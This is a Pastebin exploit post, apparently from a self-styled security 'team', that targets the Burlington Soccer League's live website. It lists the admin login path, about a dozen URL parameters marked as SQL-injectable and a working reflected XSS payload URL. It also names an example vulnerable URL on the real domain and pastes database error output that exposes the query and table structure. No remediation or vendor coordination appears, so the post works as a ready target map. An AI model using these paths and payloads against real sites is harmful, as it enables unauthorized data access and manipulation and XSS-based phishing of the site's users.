Advertisement
KingSkrupellos

Burlington Soccer League XSS SQL Injection

Aug 20th, 2019
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.98 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Burlington Soccer League XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 21/08/2019
  7. # Vendor Homepage : burlingtonsoccerleague.ca
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. Burlington Soccer League is prone to an SQL-injection vulnerability because it fails
  24. to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting
  25. this issue could allow an attacker to compromise the application, access or modify
  26. data, or exploit latent vulnerabilities in the underlying database.
  27. A remote attacker can send a specially crafted request to the vulnerable application and
  28. execute arbitrary SQL commands in application`s database. Further exploitation of this
  29. vulnerability may result in unauthorized data manipulation.
  30. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  31.  
  32. Reflected XSS (or Non-Persistent) :
  33. ***************************************
  34. The server reads data directly from the HTTP request and reflects it back in the
  35. HTTP response. Reflected XSS exploits occur when an
  36. attacker causes a victim to supply dangerous content to a vulnerable web application,
  37. which is then reflected back to the victim and executed by the web browser. The most common
  38. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  39. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  40. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  41. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  42. the content is executed by the victim's browser.
  43.  
  44. ###################################################################
  45.  
  46. # Admin Panel Login Path :
  47. **************************
  48. /BSLApp/LoginForm.php
  49.  
  50. # SQL Injection Exploit :
  51. **********************
  52. /BSLApp/Scorers.php?TeamID=[SQL Injection]
  53.  
  54. /BSLApp/Scorers.php?TeamID=[ID-NUMBER]&TeamName=[SQL Injection]
  55.  
  56. /BSLApp/DiscHearings.php?FormType=Hearings&SeasonID=[SQL Injection]
  57.  
  58. /BSLApp/MatchListForm.php?TeamID=[SQL Injection]
  59.  
  60. /BSLApp/MatchListForm.php?TeamID=[SQL Injection]&TeamName=MCM
  61.  
  62. /BSLApp/Standings.php?DivisionID=[SQL Injection]
  63.  
  64. /BSLApp/DiscTeam.php?TeamID=[SQL Injection]&TeamName=Hammer%20FC
  65.  
  66. /BSLApp/CardList.php?TeamID=[SQL Injection]&TeamName=A
  67.  
  68. /BSLApp/DiscTeam.php?TeamID=[SQL Injection]&TeamName=Kopites
  69.  
  70. /Facelift/BSLApp/RosterListForm.php?TeamID=[SQL Injection]&TeamName=A
  71.  
  72. /Facelift/BSLApp/RosterListForm.php?TeamID=[SQL Injection]
  73.  
  74. /BSLApp/CardList.php?TeamID=[SQL Injection]&TeamName=A
  75.  
  76. # Cross Site Scripting XSS Exploit :
  77. ********************************
  78. /BSLApp/Scorers.php?TeamID=1%27%3Cmarquee%3E%3Cfont%20color=
  79. lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E
  80.  
  81. ###################################################################
  82.  
  83. # Example Vulnerable Sites :
  84. *************************
  85. [+] burlingtonsoccerleague.ca/BSLApp/Scorers.php?TeamID=1%27
  86.  
  87. ###################################################################
  88.  
  89. # Example SQL Database Error :
  90. ****************************
  91. ERROR: You have an error in your SQL syntax; check the manual that corresponds
  92. to your MySQL server version for the right syntax to use near '' and M.DivisionID =
  93. (select min(D.DivisionID) from Divisions D, Le' at line 10 SELECT S.PlayerID,
  94. count(*) Goals, max(FirstName) FirstName, max(LastName) LastName FROM
  95. Scorers S, Matches M, Players P, Teams T WHERE M.MatchID = S.MatchID and
  96. P.PlayerID = S.PlayerID and T.TeamID = S.TeamID and T.TeamID
  97. = 1' and M.DivisionID = (select min(D.DivisionID) from Divisions D, Leagues
  98. L where D.DivisionID = L.DivisionID and IsACupBoolean = 0 and IsPrimary = 1
  99. and L.TeamID = 1' and D.SeasonID = 2019) and M.IsAnExhibition = 0
  100. GROUP BY S.PlayerID order by 2 desc, 4
  101.  
  102. ERROR: You have an error in your SQL syntax; check the manual that
  103. corresponds to your MySQL server version for the right syntax to use
  104. near '' order by HearingDate asc' at line 3 SELECT DiscHearingID FROM
  105. DiscHearings DH where HearingDate >= "2019-08-20" and SeasonID
  106. = 2019' order by HearingDate asc
  107.  
  108. ###################################################################
  109.  
  110. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  111.  
  112. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement